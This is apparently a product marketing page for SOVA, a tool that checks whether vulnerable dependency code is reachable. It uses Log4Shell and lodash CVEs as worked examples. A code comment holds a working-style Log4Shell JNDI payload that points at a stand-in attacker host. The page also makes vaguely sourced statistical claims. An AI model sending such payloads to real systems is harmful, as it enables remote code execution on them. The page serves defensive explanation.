Loading SOVA...
Loading SOVA...
Determine if vulnerable code is actually reachable in your application. Eliminate false positives. Focus on what matters.
The Problem
Traditional vulnerability scanners flag every CVE in your dependency tree. But 70% of those vulnerabilities are in functions your code never calls. SOVA's 4-layer reachability analysis tells you which ones actually matter.
70%+
Vulnerabilities not reachable
Academic research confirms over 70% of vulnerabilities in dependencies are in code paths that are never executed by the application. You're wasting engineering time on phantom threats.
4x
Faster remediation
Teams using reachability analysis fix critical issues 4x faster because they focus on the 30% that actually matters. Less noise, faster response.
$100K+
Annual waste on false positives
The average security team wastes thousands of engineering hours annually patching unreachable vulnerabilities. That's real money spent on zero risk reduction.
Real-World Incident Analysis
criticalCVE-2021-44228
Attack Timeline
Nov 24, 2021
discovery
Reported to Apache
Alibaba Cloud security team reports vulnerability
Dec 9, 2021
disclosure
Public disclosure
CVE-2021-44228 assigned, CVSS 10.0
Dec 10, 2021
exploit
Mass scanning begins
Every scanner flags every Log4j instance worldwide
Dec 11-17, 2021
impact
Patch scramble
Teams patch hundreds of services — most were never exploitable
Dec 17, 2021
patch
Log4j 2.17.0 released
Apache releases final patched version
Nov 24, 2021
Reported to Apache
Alibaba Cloud security team reports vulnerability
Dec 9, 2021
Public disclosure
CVE-2021-44228 assigned, CVSS 10.0
Dec 10, 2021
Mass scanning begins
Every scanner flags every Log4j instance worldwide
Dec 11-17, 2021
Patch scramble
Teams patch hundreds of services — most were never exploitable
Dec 17, 2021
Log4j 2.17.0 released
Apache releases final patched version
Attack Flow
Attacker
Sends JNDI lookup string via user input
App A: Web Server
Logs user-agent with Log4j — calls JNDI lookup
JNDI Resolution
Log4j resolves JNDI string, fetches remote class
App B: Batch Job
Uses Log4j for file logging only — no JNDI
Attacker
Sends JNDI lookup string via user input
App A: Web Server
Logs user-agent with Log4j — calls JNDI lookup
JNDI Resolution
Log4j resolves JNDI string, fetches remote class
App B: Batch Job
Uses Log4j for file logging only — no JNDI
Vulnerable Code
1// APP A — REACHABLE (87% confidence)2// User input flows to Log4j logger3public void handleRequest(String userAgent) {4logger.info("User-Agent: " + userAgent);5// Attacker sends: ${jndi:ldap://evil.com/exploit}6}78// APP B — NOT REACHABLE (13% confidence)9// Log4j used for internal file logging only10public void processBatch(List<Record> records) {11logger.info("Processing " + records.size() + " records");12// No user input reaches this log statement13}
What Happened
App A is REACHABLE: user-controlled input (userAgent) flows directly into a Log4j log call. App B is NOT REACHABLE: Log4j is used, but only with internal data — no attacker-controlled input reaches the logger. SOVA's 4-layer analysis distinguishes between the two.
How SOVA Prevents This
SOVA's ReachabilityEngine eliminates 70% of false positives by tracing actual code execution paths.
Dependency Path
Layer 1: Confirms log4j-core exists in the dependency tree at transitive depth 2
Import Analysis
Layer 2: Scans source files for import/require statements referencing Log4j
AST Analysis
Layer 3: Parses AST to check if JNDI-capable logging methods are called with user input
Call Graph
Layer 4: Traces execution paths from HTTP entry points to vulnerable function calls
Dependency Path
Layer 1: Confirms log4j-core exists in the dependency tree at transitive depth 2
Import Analysis
Layer 2: Scans source files for import/require statements referencing Log4j
AST Analysis
Layer 3: Parses AST to check if JNDI-capable logging methods are called with user input
Call Graph
Layer 4: Traces execution paths from HTTP entry points to vulnerable function calls
How It Works
CVE-2020-8203 — Prototype Pollution
Import Analysis
Is it imported?
import { template } from 'lodash'
IMPORTEDAST Analysis
Is the function called?
template() NOT called in codebase
NOT CALLEDCall Graph
Is it attacker-reachable?
No execution path from entry point
SAFENOT REACHABLE
13% confidence — safe to deprioritize
"Is [email protected] (CVE-2021-23337) in your dependency tree?"
SOVA parses lock files and build manifests to determine whether the vulnerable component exists anywhere in the transitive dependency tree. Even deeply nested packages are resolved to their exact version.
"Does your code actually import lodash or require('lodash')?"
Many dependencies exist in the tree but are never directly used by your application. SOVA scans every source file for import statements, require calls, and module references to confirm actual usage.
"Is the vulnerable function _.template() called?"
SOVA parses the Abstract Syntax Tree to determine whether the specific vulnerable function is actually invoked. It examines function calls, method chains, and class instantiations for granular function-level reachability.
"Can an attacker reach template() through the execution flow?"
SOVA builds a complete call graph from application entry points (HTTP handlers, CLI commands, event listeners) and traces every execution path to determine whether an attacker can reach the vulnerable function.
Every vulnerability receives a reachability confidence score from 0% to 100%. Each layer that confirms reachability increases the score, giving your team a clear, quantified signal for prioritization.
In the dependency tree but never imported. No evidence the package is used in application code. Safe to deprioritize.
Imported but the vulnerable function is not called. The package is used, but the specific CVE-affected API surface is untouched.
Vulnerable function is called but not from user input. Internal usage exists, but no attacker-controlled data flows into the function.
Attacker can reach vulnerable code via user input. Full execution path from entry point to vulnerable function confirmed.
70% of CVEs flagged by traditional scanners are NOT reachable in your application. Focus engineering time on the 30% that matter.
Every reachability finding includes the exact source file, line number, and code snippet where the vulnerable function is called. Developers see precisely where the risk lives.
Reachability analysis filters out noise so you fix what matters